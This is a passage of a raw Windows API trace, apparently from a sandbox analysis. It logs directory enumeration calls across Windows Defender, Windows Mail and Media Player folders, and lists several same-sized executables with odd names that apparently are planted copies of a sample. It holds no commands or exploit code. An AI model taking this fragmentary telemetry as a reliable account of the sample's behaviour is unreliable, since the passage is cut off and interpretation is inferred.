FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0268.283] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0268.283] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 0 [0268.283] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0268.283] GetProcessHeap () returned 0xc10000 [0268.283] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.283] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa686fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa686fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa686fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0268.283] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee5007f7, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0268.284] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee441c33, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xae5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0268.284] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee631ad5, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x177a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0268.284] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee54ccae, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0268.284] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1 [0268.284] GetProcessHeap () returned 0xc10000 [0268.284] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Defender\\Offline\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.284] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.285] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.285] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.285] GetProcessHeap () returned 0xc10000 [0268.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.285] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1 [0268.285] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 0 [0268.285] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.285] GetProcessHeap () returned 0xc10000 [0268.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.285] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec185ce1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec185ce1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0268.285] GetProcessHeap () returned 0xc10000 [0268.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec185ce1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec185ce1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.288] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec185ce1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec185ce1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.288] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x947e2a00, ftCreationTime.dwHighDateTime=0x1d5bed7, ftLastAccessTime.dwLowDateTime=0x3ef37580, ftLastAccessTime.dwHighDateTime=0x1d5d0ad, ftLastWriteTime.dwLowDateTime=0x3ef37580, ftLastWriteTime.dwHighDateTime=0x1d5d0ad, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0268.288] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0268.288] GetProcessHeap () returned 0xc10000 [0268.288] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0268.289] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.289] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0268.289] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8172, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75626000, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0268.289] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8172, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75626000, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0268.289] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0268.289] GetProcessHeap () returned 0xc10000 [0268.289] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.289] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a23270, ftCreationTime.dwHighDateTime=0x1d59c88, ftLastAccessTime.dwLowDateTime=0xeda10b00, ftLastAccessTime.dwHighDateTime=0x1d5df36, ftLastWriteTime.dwLowDateTime=0xeda10b00, ftLastWriteTime.dwHighDateTime=0x1d5df36, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hearts_walker_poet.exe", cAlternateFileName="HEARTS~1.EXE")) returned 1 [0268.289] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590fd760, ftCreationTime.dwHighDateTime=0x1d58b07, ftLastAccessTime.dwLowDateTime=0x6f7f22b0, ftLastAccessTime.dwHighDateTime=0x1d56c64, ftLastWriteTime.dwLowDateTime=0x6f7f22b0, ftLastWriteTime.dwHighDateTime=0x1d56c64, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0268.290] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0268.290] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.291] GetProcessHeap () returned 0xc10000 [0268.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.292] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0268.292] GetProcessHeap () returned 0xc10000 [0268.292] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0268.299] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.299] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba0630, ftCreationTime.dwHighDateTime=0x1d57899, ftLastAccessTime.dwLowDateTime=0x966488f0, ftLastAccessTime.dwHighDateTime=0x1d5c5f8, ftLastWriteTime.dwLowDateTime=0x966488f0, ftLastWriteTime.dwHighDateTime=0x1d5c5f8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="CCV_SE~1.EXE")) returned 1 [0268.299] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5296d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0268.299] GetProcessHeap () returned 0xc10000 [0268.299] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5296d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0268.302] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5296d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b1b89b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x113f9c00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, 